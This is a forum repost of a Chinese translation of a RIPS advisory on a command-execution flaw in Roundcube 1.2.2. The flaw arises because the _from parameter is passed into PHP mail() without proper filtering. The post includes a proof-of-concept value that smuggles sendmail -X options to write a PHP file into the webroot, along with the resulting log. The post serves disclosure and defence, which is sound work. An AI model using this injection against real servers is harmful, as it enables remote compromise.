首页
社区
课程
招聘
[翻译]Roundcube 1.2.2:通过邮件执行命令
发表于: 2016-12-8 11:34 5726

[翻译]Roundcube 1.2.2:通过邮件执行命令

2016-12-8 11:34
5726
Roundcube 1.2.2:通过邮件执行命令
译者:阳春
原文链接:c14K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2M7X3W2H3M7%4c8W2j5$3S2Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5$3i4K6u0r3M7X3!0#2L8X3c8U0N6h3u0W2i4K6u0V1j5$3!0E0L8h3q4F1k6q4)9J5k6r3g2^5k6h3y4#2N6r3W2G2L8W2)9J5k6s2k6A6j5g2)9J5k6r3g2E0j5h3W2D9i4K6u0r3
原文作者:Robin Peraglie


Roundcube是一款广泛使用的开源的webmail软件,全世界有很多组织和公司都在使用。举个例子,过去12个月,它在SourceForge上的镜像文件的下载次数超过260,000,但是这不过是实际用户量的一小部分。把Roundcube安装在服务器上之后,它就可以提供一个网页给用户,用户使用浏览器进行登录认证并收发邮件。

在这篇文章里,我们看看一个攻击者如何,仅仅只是在Roundcube1.2.2(>=1.0)写一封邮件,就能远程在底层操作系统上执行任意指令。这个漏洞是高危的,因为所有默认安装都受影响。我们强烈要求所有Roundcube的管理员尽快升级软件到1.2.3版本。

RIPS 分析
译者注:RIPS是一款自动化静态分析PHP代码的工具。

RIPS花了25秒的时间完整分析了整个应用,并且检测出了上图所示的安全漏洞。虽然看起来问题挺多的,但是大部分都不是很严重,因为它们属于安装模块或者已弃用的代码。不过,我们建议还是要移除掉这些弃用的代码来修复这些漏洞,这样可以防止将来不安全的使用,或者跟其它安全问题掺和到一起,就像我们之前的圣诞日历系列文章(译者注:这篇文章是系列文章中的一篇,圣诞日历系列)里论证的那样。

删减后的分析结果可以在我们的RIPS  demo应用里看到。注意一点,为了确保漏洞可以修复,我们将结果限制在本文提及的问题上。
查看RIPS报告

要求
利用这个漏洞有以下几个条件。
1、        Roundcube必须是配置成使用PHP的mail()函数的(默认配置,如果没有指定SMTP)。
2、        PHP的mail()函数配置使用sendmail(默认配置,查看sendmail_path)。
3、        PHP配置里的safe_mode是关闭的(默认配置,查看safe_mode)。
4、        攻击者必须知道或者猜出webroot的绝对路径。
这些条件都不是很特别的要求,意味着现在在自然环境里有大量的存在漏洞的系统。

描述
在Roundcube1.2.2或者更早的版本里,用户的输入未经过滤就被传到了PHP内建函数mail()的第五个参数,这已被证明是有很高安全风险的。问题出在mail()函数的调用会导致PHP执行sendmail程序。第五个参数可以传入一些额外的执行参数,更改sendmail的配置。因为sendmail提供了-X选项将邮件通信记录到一个文件,攻击者可以利用此参数在服务器的webroot下创建一个恶意PHP文件。虽然这个漏洞很罕见,极少人知,但是RIPS还是很快检测出来了。以下代码引发了漏洞。

program/steps/mail/sendmail.inc
$from = rcube_utils::get_input_value(’_from’, rcube_utils::INPUT_POST, true, $message_charset);
⋮
$sent = $RCMAIL->deliver_message($MAIL_MIME, $from, $mailto,$smtp_error, $mailbody_file, $smtp_opts);

这里,获取POST参数_from的值,然后传入到Roundcube的deliver_message()中作为第二个参数使用。

program/lib/Roundcube/rcube.php
public function deliver_message(&$message, $from, $mailto, &$error, &$body_file = null, $options = null) {
    ⋮
    if (filter_var(ini_get(‘safe_mode’), FILTER_VALIDATE_BOOLEAN))
        $sent = mail($to, $subject, $msg_body, $header_str);
    else
        [COLOR="Lime"]$sent = mail($to, $subject, $msg_body, $header_str, “-f$from”);[/COLOR]

然后这个函数将$from参数传到调用的mail()函数中。意思是将定制的from header通过-f选项传递给sendmail程序。

不够安全的过滤
一个有趣的地方在于,似乎from电子邮件地址已被一个正则表达式预先过滤过了。最基本地,首先要确保$from参数中没有空格,来减少利用-f后面的参数进行攻击的可能性。在这里使用空格常数如$IFS或者新的shell命令 `都不成功。然而,应用中有一个逻辑缺陷导致这个过滤失效了。

program/steps/mail/sendmail.inc
else if ($from_string = rcmail_email_input_format($from)) {
    [COLOR="lime"]if (preg_match(‘/(\S+@\S+)/‘, $from_string, $m))[/COLOR]
        $from = trim($m1, ‘<>‘);
    else
        $from = null;
}

在105 行,从用户控制的$from参数里提取出一封无空格的邮件。不过,提取只有当rcmail_email_input_format()返回的值相当于TRUE时才会进行。接下来,我们分析一下这个函数。

program/steps/mail/sendmail.inc
function rcmail_email_input_format($mailto, $count=false, $check=true)
{
    global $RCMAIL, $EMAIL_FORMAT_ERROR, $RECIPIENT_COUNT;
    // simplified email regexp, supporting quoted local part
    $email_regexp = ‘(\S+|(”[^“]+”))@\S+‘;
    ⋮
    // replace new lines and strip ending ‘, ‘, make address input more valid
    $mailto = trim(preg_replace($regexp, $replace, $mailto));
    $items  = rcube_utils::explode_quoted_string($delim, $mailto);
    $result = array();
    foreach ($items as $item) {
        $item = trim($item);
        // address in brackets without name (do nothing)
        [COLOR="lime"]if (preg_match(‘/^<‘.$email_regexp.‘>$/’, $item)) {[/COLOR]            $item     = rcube_utils::idn_to_ascii(trim($item, ‘<>‘));
            $result[] = $item;
        }
        ⋮
        else if (trim($item)) {
            continue;
        }
        ⋮
    }
    if ($count) {
        $RECIPIENT_COUNT += count($result);
    }
    return implode(‘, ‘, $result);
}

在863行,这个函数使用了另一个正则表达式,要求这一行在邮件匹配后面必须有个($)。攻击者使用的payload当然可以不需要满足这个条件,因此在foreach循环后,$result数组会保持空白。在这种情况下,876行的implode()函数返回一个空字符串(等价于FALSE),然后$from的值就不会被过滤和改变了。

概念的实证
当使用Roundcube发送邮件时,HTTP请求是可以被截断和更改的。这个地方,我们修改_from参数来在文件系统上创建一个恶意文件。
example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php

这将允许攻击者在web根目录创建一个可执行文件rce.php,内容是_subject参数的值,可以包含PHP代码。执行完请求之后,包含以下内容的文件就会被创建。
04731 >>> Recipient names must be specified
04731 <<< To: squinty@localhost
04731 <<< Subject: <?php phpinfo(); ?>
04731 <<< X-PHP-Originating-Script: 1000:rcube.php
04731 <<< MIME-Version: 1.0
04731 <<< Content-Type: text/plain; charset=US-ASCII;
04731 <<<  format=flowed
04731 <<< Content-Transfer-Encoding: 7bit
04731 <<< Date: So, 20 Nov 2016 04:02:52 +0100
04731 <<< From: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< Message-ID: <390a0c6379024872a7f0310cdea24900@localhost>
04731 <<< X-Sender: example@example.com -OQueueDirectory=/tmp
04731 <<<  -X/var/www/html/rce.php
04731 <<< User-Agent: Roundcube Webmail/1.2.2
04731 <<< 
04731 <<< Funny e-mail message
04731 <<< [EOF]

因为邮件数据没有被编码,subject参数会被直接保存成明文。这将允许在可执行文件中注入PHP标签。

时间线
日期                          事件
2016/11/21        首次联系供应商
2016/11/22        供应商在Github上修复漏洞
2016/11/28        供应商同意协调披露
2016/11/28        供应商发布Roundcube1.2.3

总结
Roundcube抵抗着来自很多方向的攻击,有一个大社区持续维护着它的安全。然而,此文描述的漏洞可以溜进来,由于稀有,这也是一种边缘情况。在自动检测工具的帮助下,我们不仅可以检测到此边缘情况,还节省了大量人力资源,从而可以在安全网络应用的开发过程中专注于不同方面。

我们十分感谢Roundcube团队仅用了一天时间就修复了漏洞,而且新的发行版一周后就发行了!他们对安全问题的回应非常令人印象深刻,也非常专业。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 3767
活跃值: (2578)
能力值: ( LV8,RANK:125 )
在线值:
发帖
回帖
粉丝
2
图裂了 看doc吧
通过邮件执行命令.doc
上传的附件:
2016-12-8 11:47
0
雪    币: 42947
活跃值: (65767)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
3
(。^▽^)すごい
2016-12-13 13:46
0
游客
登录 | 注册 方可回帖
返回